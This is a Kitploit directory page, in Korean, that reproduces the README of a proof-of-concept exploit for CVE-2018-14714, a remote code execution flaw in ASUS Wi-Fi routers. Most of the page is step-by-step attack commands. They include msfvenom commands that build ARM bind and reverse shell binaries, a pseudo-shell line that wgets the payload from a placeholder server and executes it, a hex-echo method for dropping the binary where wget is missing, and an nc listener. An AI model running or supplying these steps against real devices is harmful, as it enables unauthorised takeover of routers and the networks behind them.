Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-14714-RCE-exploit — ASUS wifi router RCE vulnerability | Kitploit
도구/GitHubGitHub/bttea/cve-2018-14714-rce-exploit
IoT SecurityPayload GenerationExploitationWeb Application ExploitationWireless SecurityPenetration TestingLearning & EducationRemote Access Tool
GitHubbttea/cve-2018-14714-rce-exploit

CVE-2018-14714-RCE-exploit

ASUS wifi router RCE vulnerability

저장소 보기
19210개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-14714 RCE PoC

ASUS 와이파이 라우터 RCE 취약점

이 PoC는 학습 및 연구 목적으로만 사용됩니다. 불법 활동에 사용하지 마십시오; 법적 책임은 전적으로 본인에게 있습니다.

  • 이 PoC를 기반으로 코드 수정 후 진행된 테스트입니다. 원래 PoC는 루트 권한이 부족하여 실패했을 수 있습니다.
    • https://github.com/sunn1day/CVE-2018-14714-POC

아래 데모에서 테스트된 장치 모델은 ASUS RT-N18U이며, 펌웨어 버전은 3.0.0.4.378.9216입니다. 대학 시절에 구입한 라우터로, 지금은 제 테스트 머신입니다 :)

취약점 PoC

  • 공격 조건

    • 로그인에 사용할 수 있는 계정 및 비밀번호.
    • 대상이 패치된 취약점 버전(3.0.0.4.384.32738 또는 3.0.0.4.384.45149 미만)으로 업데이트되지 않음.
  • 의존성을 설치해야 합니다:

    • $ python3 -m pip install requests

스크립트를 직접 실행하여 사용법을 확인하세요. 아래 명령어를 실행하여 대상이 취약한지 확인할 수 있습니다.

$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

셸

msfvenom 명령어를 사용하여 가벼운 리버스 셸 바이너리 실행 파일을 생성할 수 있습니다. 사용 중인 커널 환경에 따라 매개변수를 변경할 수 있습니다. 제 경우에는 armv7l이며, 명령어는 다음과 같습니다:

  • 바인드 셸

    $ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

  • 리버스 셸

    $ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

대상 장치에 wget 명령어를 사용할 수 있는 경우, 포트 4444에서 리스닝을 시작한 후, 의사 셸(pseudo-shell)에서 다음 명령어를 사용하여 리버스 셸을 얻을 수 있습니다:

root@kitploit:~
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf

대상 환경에 내장된 원격 리소스 접근 명령어가 없는 경우, 계속 읽어주세요.

사전 준비 단계

생성된 바이너리 파일을 바이너리 데이터로 변환합니다.

root@kitploit:~
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done

$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

실행 방법?

대상에 취약점이 존재하는지 확인하려면 셸 매개변수를 추가하여 Python 스크립트를 다시 실행하고 대화형 의사 셸에 진입하세요. stdout을 수신할 곳이 없기 때문에 명령어가 출력을 생성하지 않아도 정상입니다. 하지만 sleep 명령어를 사용하면 명령어가 실제로 실행되었는지 확인하는 데 도움이 됩니다.

또한, 테스트 결과 명령줄은 최대 1022자를 허용한다는 점을 주의해야 합니다. 명령어 길이가 1022자 미만이 되도록 작성해야 합니다. 따라서 페이로드를 수동으로 분할하여 부분적으로 실행해야 명령어가 성공적으로 실행될 수 있습니다.

  • 다음으로, 실제 리버스 셸을 획득해 보겠습니다. 먼저 지정된 포트에서 리스닝을 시작하세요.

    $ nc -lvnp 4444

  • Python PoC 스크립트를 실행하여 페이로드를 주입할 의사 셸을 획득합니다.

    $ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

  • 마지막으로, 획득한 리버스 셸을 즐기세요 :)

도구 다운로드